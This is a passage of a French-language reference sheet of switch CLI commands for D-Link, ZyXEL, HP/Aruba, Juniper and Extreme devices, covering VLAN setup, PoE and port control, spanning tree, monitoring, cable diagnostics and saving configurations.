show fdb ports 23-24MAC sur des ports spécifiques
show lldp remote_portsVoisinage LLDP
show error ports 1:1Erreurs sur un port
show poe portsÉtat PoE
show port_vlan 3-5PVID des ports
show running-config globalConfig en cours (vue globale)
SwitchD-LinkVLAN
create vlan admin tag 101Créer VLAN 101 nommé "admin"
delete vlan vlanid 101Supprimer un VLAN
config vlan vlanid 101 add tagged 4-5Ajouter ports Tagged
config vlan vlanid 101 add untagged 3Ajouter port Untagged
config vlan vlanid 101 delete 3-5Retirer ports du VLAN
config port_vlan 4-5 pvid 101Changer le PVID
SwitchD-LinkPoE & Ports
config poe ports 7 state disableCouper PoE
config poe ports 7 state enableRéactiver PoE
config ports 1 state disableCouper un port
config ports 1 state enableRéactiver un port
SwitchD-LinkDiagnostic
cable_diag ports 3Test câble port 3
show traffic_segmentationVoir la segmentation de trafic
config traffic_segmentation 22 forward_list 10,21Isoler un port
SwitchD-LinkSystème
saveSauvegarder
rebootRedémarrer
SwitchZyXELConnexion
telnet <ip_switch>Connexion (défaut: 192.168.1.1 admin/1234)
SwitchZyXELMonitoring
show interfaces statusÉtat des ports
show interfaces 2Détail d'un port
show interfaces config 5PVID d'un port
show mac address-table allTable MAC complète
show mac address-table port 2MAC sur un port
show lldp info remoteVoisinage LLDP
show running-configConfig complète
show pwrÉtat PoE
SwitchZyXELVLAN
vlan 101Créer / entrer dans VLAN 101
fixed 4-5Ajouter ports Tagged
untagged 5Port en Untagged
no untagged 5Repasser en Tagged
no fixed 4-5Retirer ports du VLAN
no vlan 209Supprimer un VLAN
pvid 101Changer le PVID (en mode interface)
SwitchZyXELInterfaces
no inactiveRéactiver un port coupé
interface port-channel XSélectionner un port
SwitchZyXELPoE
pwr interface 2Activer PoE
no pwr interface 2Couper PoE
pwr mode consumptionMode consumption (si >11 AP)
SwitchZyXELDiagnostic
cable-diagnostics 2Test câble
show interface transceiver <port>Vérif fibre / SFP
SwitchZyXELSystème
wr mSauvegarder
reload config 1Redémarrer avec config startup
SwitchHP/ArubaVLAN
show vlansVLANs configurés
vlan 10 untagged 1-24Ports access
vlan 10 tagged 25-26Ports trunk
SwitchHP/ArubaTrunk
trunk 25-26 trk1 lacpLACP trunk
SwitchHP/ArubaSTP
spanning-tree 1-24 admin-edge-portEdge-port (= PortFast)
SwitchHP/ArubaMonitoring
show trunksAfficher les agrégations de liens
show running-configConfiguration active
show interfaces briefÉtat résumé des ports
show mac-addressTable MAC
show spanning-treeÉtat du Spanning Tree
SwitchHP/ArubaSystème
write memorySauvegarder
SwitchJuniperVLAN
show vlansVLANs configurés
set vlans SERVEURS vlan-id 10Créer un VLAN
set interfaces ge-0/0/1 unit 0 family ethernet-switching vlan members 10Assigner port
SwitchJuniperSTP
set protocols rstp interface ge-0/0/1 edgeEdge-port RSTP
SwitchJuniperMonitoring
show ethernet-switching tableTable de commutation MAC
show interfaces terseÉtat résumé des interfaces
show spanning-tree bridgeInfos bridge STP
show arpTable ARP
show lldp neighborsVoisinage LLDP
show routeTable de routage
show chassis hardwareInventaire matériel
show log messagesLogs système
show log ?Lister les fichiers de log disponibles
SwitchJuniperSystème
commitAppliquer les changements
rollback 1Config précédente
show configuration | compare rollback 1Comparer config actuelle vs précédente
SwitchJuniperNavigation
configureEntrer en mode configuration
exitSortir du mode courant
SwitchJuniperSSH rebond
ssh user@host source <ip_locale>Forcer l'IP source (rebond JunOS)
SwitchExtremeVLAN
create vlan SERVEURS tag 10Créer un VLAN
configure vlan SERVEURS add ports 1-24 untaggedPorts access
configure vlan SERVEURS add ports 25 taggedPort trunk
SwitchExtremeMonitoring
show vlanAfficher tous les VLANs
show ports informationÉtat de tous les ports
show fdbTable MAC
show stpd detailDétails du Spanning Tree
SwitchExtremeSystème
save configurationSauvegarder